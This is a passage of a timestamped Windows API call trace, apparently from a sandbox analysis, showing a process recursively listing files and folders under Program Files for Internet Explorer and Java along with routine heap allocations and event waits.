ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.302] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2dfe94, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x68e10600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0277.303] GetProcessHeap () returned 0xaf0000 [0277.303] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0277.303] GetProcessHeap () returned 0xaf0000 [0277.303] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0277.303] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\*", lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0277.303] GetProcessHeap () returned 0xaf0000 [0277.303] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0277.303] GetProcessHeap () returned 0xaf0000 [0277.303] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0277.303] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0277.304] GetProcessHeap () returned 0xaf0000 [0277.304] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0277.304] GetProcessHeap () returned 0xaf0000 [0277.304] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0277.305] GetProcessHeap () returned 0xaf0000 [0277.305] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0277.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe8d36153, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d36153, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0277.305] GetProcessHeap () returned 0xaf0000 [0277.305] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0277.306] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\*", lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0277.306] GetProcessHeap () returned 0xaf0000 [0277.306] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0277.306] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0277.306] GetProcessHeap () returned 0xaf0000 [0277.306] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3698278 [0277.307] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0277.308] GetProcessHeap () returned 0xaf0000 [0277.308] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3698278 | out: hHeap=0xaf0000) returned 1 [0277.308] GetProcessHeap () returned 0xaf0000 [0277.308] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3698278 [0277.308] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0277.308] GetProcessHeap () returned 0xaf0000 [0277.308] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3698278 | out: hHeap=0xaf0000) returned 1 [0277.308] GetProcessHeap () returned 0xaf0000 [0277.308] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3698278 [0277.308] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0277.309] GetProcessHeap () returned 0xaf0000 [0277.309] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3698278 | out: hHeap=0xaf0000) returned 1 [0277.309] GetProcessHeap () returned 0xaf0000 [0277.309] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0277.310] GetProcessHeap () returned 0xaf0000 [0277.310] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0277.311] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0277.311] GetProcessHeap () returned 0xaf0000 [0277.311] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3698278 [0277.312] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0277.312] GetProcessHeap () returned 0xaf0000 [0277.312] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3698278 | out: hHeap=0xaf0000) returned 1 [0277.312] GetProcessHeap () returned 0xaf0000 [0277.312] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3698278 [0277.312] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0277.312] GetProcessHeap () returned 0xaf0000 [0277.312] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3698278 | out: hHeap=0xaf0000) returned 1 [0277.312] GetProcessHeap () returned 0xaf0000 [0277.312] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3698278 [0277.312] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0277.312] GetProcessHeap () returned 0xaf0000 [0277.312] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3698278 | out: hHeap=0xaf0000) returned 1 [0277.313] GetProcessHeap () returned 0xaf0000 [0277.313] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3698278 [0277.313] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0277.313] GetProcessHeap () returned 0xaf0000 [0277.313] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3698278 | out: hHeap=0xaf0000) returned 1 [0277.313] GetProcessHeap () returned 0xaf0000 [0277.313] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3698278 [0277.313] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0277.313] GetProcessHeap () returned 0xaf0000 [0277.313] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3698278 | out: hHeap=0xaf0000) returned 1 [0277.313] GetProcessHeap () returned 0xaf0000 [0277.313] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3698278 [0277.313] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0277.314] GetProcessHeap () returned 0xaf0000 [0277.314] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3698278 | out: hHeap=0xaf0000) returned 1 [0277.314] GetProcessHeap () returned 0xaf0000 [0277.314] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3698278 [0277.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0277.314] GetProcessHeap () returned 0xaf0000 [0277.314] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a8280 [0277.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\*", lpFindFileData=0x2aeeae0 | out: lpFindFileData=0x2aeeae0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0277.955] GetProcessHeap () returned 0xaf0000 [0277.955] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a8280 | out: hHeap=0xaf0000) returned 1 [0277.956] GetProcessHeap () returned 0xaf0000 [0277.956] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3698278 | out: hHeap=0xaf0000) returned 1 [0277.960] GetProcessHeap () returned 0xaf0000 [0277.960] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0277.961] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0278.172] GetProcessHeap () returned 0xaf0000 [0278.172] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0278.173] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0278.183] ResetEvent (hEvent=0x2a0) returned 1 [0278.183] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0278.962] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x848c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxswt.jar", cAlternateFileName="")) returned 1 [0278.962] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76f896, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa76f896, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa76f896, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsse.jar", cAlternateFileName="")) returned 1 [0278.963] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.hprof.txt", cAlternateFileName="JVMHPR~1.TXT")) returned 1 [0278.964] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x997, dwReserved0=0x0, dwReserved1=0x0, cFileName="logging.properties", cAlternateFileName="LOGGIN~1.PRO")) returned 1 [0278.964] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="management", cAlternateFileName="MANAGE~1")) returned 1 [0278.964] GetProcessHeap () returned 0xaf0000 [0278.964] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0278.965] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0278.965] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.965] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.access", cAlternateFileName="JMXREM~1.ACC")) returned 1 [0278.965] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb28, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.password.template", cAlternateFileName="JMXREM~1.TEM")) returned 1 [0278.965] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.properties", cAlternateFileName="MANAGE~1.PRO")) returned 1 [0278.966] ResetEvent (hEvent=0x2a0) returned 1 [0278.966] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0279.013] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 1 [0279.014] ResetEvent (hEvent=0x2a0) returned 1 [0279.014] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0279.169] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 0 [0279.169] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0279.169] GetProcessHeap () returned 0xaf0000 [0279.169] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.169] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0279.169] ResetEvent (hEvent=0x2a0) returned 1 [0279.169] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0279.224] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: 